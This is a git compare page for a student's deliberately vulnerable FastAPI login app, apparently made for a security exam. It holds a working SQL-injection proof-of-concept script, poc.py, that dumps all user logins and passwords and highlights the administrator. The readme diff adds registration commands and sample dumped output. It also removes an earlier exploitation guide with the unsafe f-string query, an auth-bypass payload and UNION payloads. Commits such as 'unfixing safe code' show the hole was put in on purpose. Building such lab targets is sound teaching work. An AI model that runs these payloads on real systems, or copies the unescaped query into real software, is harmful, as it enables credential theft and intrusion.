Compare commits

..

16 Commits

Author SHA1 Message Date
4ed1d130e3 personify 2025-12-16 10:44:15 +10:00
a6eb4c06fd updated screenshots 2025-12-16 10:41:38 +10:00
d6c4fb3e14 P-Net Reference added 2025-12-16 08:16:25 +10:00
f958956395 minimal readme added 2025-12-16 03:26:15 +10:00
85083c9f15 poc ordering FIXEEEED (looks like i'm getting no sleep today)))))) 2025-12-16 03:22:05 +10:00
ed137b7620 added admin highlight ( im cooked 2025-12-16 02:49:11 +10:00
30a1c38304 updated gitignore 2025-12-16 02:36:07 +10:00
a05fd59274 added argparse for poc and requirements 2025-12-16 02:30:55 +10:00
d990cf5482 working poc added
MY BRAIN IS MELTIIINNG
2025-12-16 02:26:01 +10:00
2295061943 exploit is now possible 2025-12-16 02:15:51 +10:00
fa7d2c7cba removed unused endpoint 2025-12-16 01:55:09 +10:00
532556dacd unfixing safe code 2025-12-16 01:51:19 +10:00
f18f545e33 minimal visual improvements 2025-12-15 23:07:46 +10:00
661fee131e vunerability added 2025-12-15 23:05:11 +10:00
641df7cfe8 table creation added 2025-12-15 22:44:12 +10:00
5c7d16f418 minimal building container 2025-12-15 22:27:26 +10:00
30 changed files with 68 additions and 119 deletions

1
.gitignore vendored
View File

@@ -1,4 +1,3 @@
build
.vscode .vscode
**__pycache__ **__pycache__
data data

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 89 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 386 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 78 KiB

1
build Executable file
View File

@@ -0,0 +1 @@
docker build -t kulesh_web-app:v0.0.1a .

View File

@@ -1,7 +1,7 @@
services: services:
vunerable-web-app: vunerable-web-app1:
image: kulesh_web-app:v0.0.1a image: kulesh_web-app:v0.0.1a
ports: ports:
- "80:8000" - "21252:8000"
volumes: volumes:
- ./data/:/app/data - ./data/:/app/data

View File

@@ -1,6 +0,0 @@
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
localhost FALSE / FALSE 0 password a
localhost FALSE / FALSE 0 login "' or 1=1-- "

35
poc.py Normal file → Executable file
View File

@@ -1,26 +1,39 @@
#!/usr/bin/env python3
import requests import requests
import re import re
import argparse
BASE_URL = "http://localhost:8000" parser = argparse.ArgumentParser(description="Exploit script for extracting logins and passwords.")
parser.add_argument("--base-url", default="http://localhost:80", help="Base URL of the target application")
args = parser.parse_args()
login_payload = "' UNION SELECT login FROM users--" BASE_URL = args.base_url
login_payload = "' UNION SELECT login FROM (Select * from users ORDER BY id)--"
form_data = {"login": login_payload, "password": "' OR 1=1--"} form_data = {"login": login_payload, "password": "' OR 1=1--"}
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True) response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
password_payload = "' UNION SELECT password FROM users--"
form_data = {"login": password_payload, "password": "' OR 1=1--"}
response_passwords = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1) logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1)
passwords_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_passwords.text).group(1)
logins= logins_raw.split("',), ('") logins= logins_raw.split("',), ('")
passwords = passwords_raw.split("',), ('")
passwords=[]
for login in logins:
password_payload = f"' UNION SELECT password FROM (Select * from users WHERE login='{login}')--"
form_data = {"login": password_payload, "password": "' OR 1=1--"}
response_password = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
password = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_password.text).group(1)
passwords.append(password)
if logins and passwords: if logins and passwords:
for i, (login, password) in enumerate(zip(logins, passwords)): for i, (login, password) in enumerate(zip(logins, passwords)):
print(f" {i+1}. Логин: {login:<20} Пароль: {password}") if login == "Administrator":
print(f"{'*' * 60}")
print(f" {i+1}. Логин: {login:<20} Пароль: {password} <-- !!! ВАЖНО !!!")
print(f"{'*' * 60}")
else:
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
else: else:
print("Не удалось извлечь данные.") print("Не удалось извлечь данные.")

138
readme.md
View File

@@ -1,112 +1,54 @@
# Kulesh_Web_app - Уязвимое веб-приложение !! Скриншоты без подписей, пожалуйста смотрите документ в yonote
Это уязвимое веб-приложение создано для демонстрации SQL-инъекций и других веб-уязвимостей. Приложение написано на Python с использованием FastAPI. К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi)
## Функциональность приложения # PC-Seq-Exam-WebApp
- ✅ Регистрация пользователей ## Сборка
- ✅ Авторизация пользователей
- ✅ Cookie-аутентификация
- ✅ Страница приветствия для авторизованных пользователей
- ✅ Docker-контейнеризация
## Сборка и запуск ```sh
### Сборка Docker-образа
```bash
docker build -t kulesh_web-app:v0.0.1a . docker build -t kulesh_web-app:v0.0.1a .
``` ```
### Запуск приложения ## Запуск
```sh
docker compose up -d
```
## Регистрация через curl
```bash ```bash
docker compose up curl -X POST http://10.254.252.100:801/register -d "login=Administrator&password=protected_by_sheer_will" -L
curl -X POST http://10.254.252.100:801/register -d "login=Kulesh_AB&password=bibaIboba2aboba" -L
```
## SQLi
в бреду намаслал Proof Of Concept
он мало что проверяет, но как я понял рабоатет, быть может за исклбчением когда
пользователь очень любит скобочки кавычки и пробелы)
для запуска ставим requests,
```pip install requests```
в помошь)
```sh
python ./poc.py --base-url http://aboba.eu
```
допустм что 2 пользователя зарегались с посмошью команд выше
```
./poc.py
************************************************************
1. Логин: Administrator Пароль: protected_by_sheer_will <-- !!! ВАЖНО !!!
************************************************************
2. Логин: Kulesh_AB Пароль: bibaIboba2aboba
``` ```
Приложение будет доступно по адресу: http://localhost:8000
## Работа с CURL Выполнил Кулеш А.Б.
Б9123-09.03.04
### Регистрация пользователя Administrator ---
```bash Он постоянно что-то ест, он постоянно что-то пьёт
curl -X POST -d "login=Administrator&password=admin123" http://localhost:8000/register
```
### Регистрация пользователя Kulesh_AS Он быстро набирает вес, клянётся, что в спортзал пойдёт
```bash
curl -X POST -d "login=kulesh_as&password=mypass123" http://localhost:8000/register
```
### Авторизация через CURL
```bash
curl -X POST -d "login=Administrator&password=admin123" -c cookies.txt http://localhost:8000/login
```
### Доступ к защищенной странице
```bash
curl -b cookies.txt http://localhost:8000/welcome
```
## ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ
### SQL-инъекция через форму авторизации
Приложение содержит критическую SQL-инъекцию в формах регистрации и авторизации. Уязвимый код:
```python
cursor.execute(f"SELECT * FROM users WHERE login='{login}' AND password='{password}'")
```
Данные пользователя напрямую подставляются в SQL-запрос без экранирования, что позволяет выполнять произвольные SQL-команды.
### Базовый обход аутентификации
**Payload для поля login:**
```sql
' OR 1=1--
```
**Поле password:** (любое значение)
Этот payload закомментирует проверку пароля и войдет как первый пользователь в базе.
### Извлечение информации о базе данных
#### 1. Получение списка подключенных файлов БД:
```sql
' UNION SELECT 1, group_concat(name || ':' || file), 3 FROM pragma_database_list --
```
#### 2. Получение списка пользовательских таблиц:
```sql
' UNION SELECT 1, group_concat(name), 3 FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' --
```
#### 3. Получение схем всех таблиц:
```sql
' UNION SELECT 1, group_concat(sql, char(10) || char(10)), 3 FROM sqlite_master WHERE type='table' --
```
#### 4. Извлечение всех пользователей и паролей:
```sql
' UNION SELECT id, login, password FROM users --
```
#### 5. Получение данных конкретного пользователя Administrator:
```sql
' UNION SELECT id, login, password FROM users WHERE login='Administrator' --
```
### Пошаговая эксплуатация
1. **Откройте форму входа:** http://localhost:8000/login
2. **Введите базовый payload для обхода аутентификации:**
- Login: `' OR 1=1--`
- Password: `test`
3. **Для извлечения данных используйте UNION-based инъекцию:**
- Login: `' UNION SELECT id, login, password FROM users --`
- Password: `test`
4. **В ответе на странице приветствия вы увидите данные всех пользователей**
Но продолжает что-то есть и продолжает что-то пить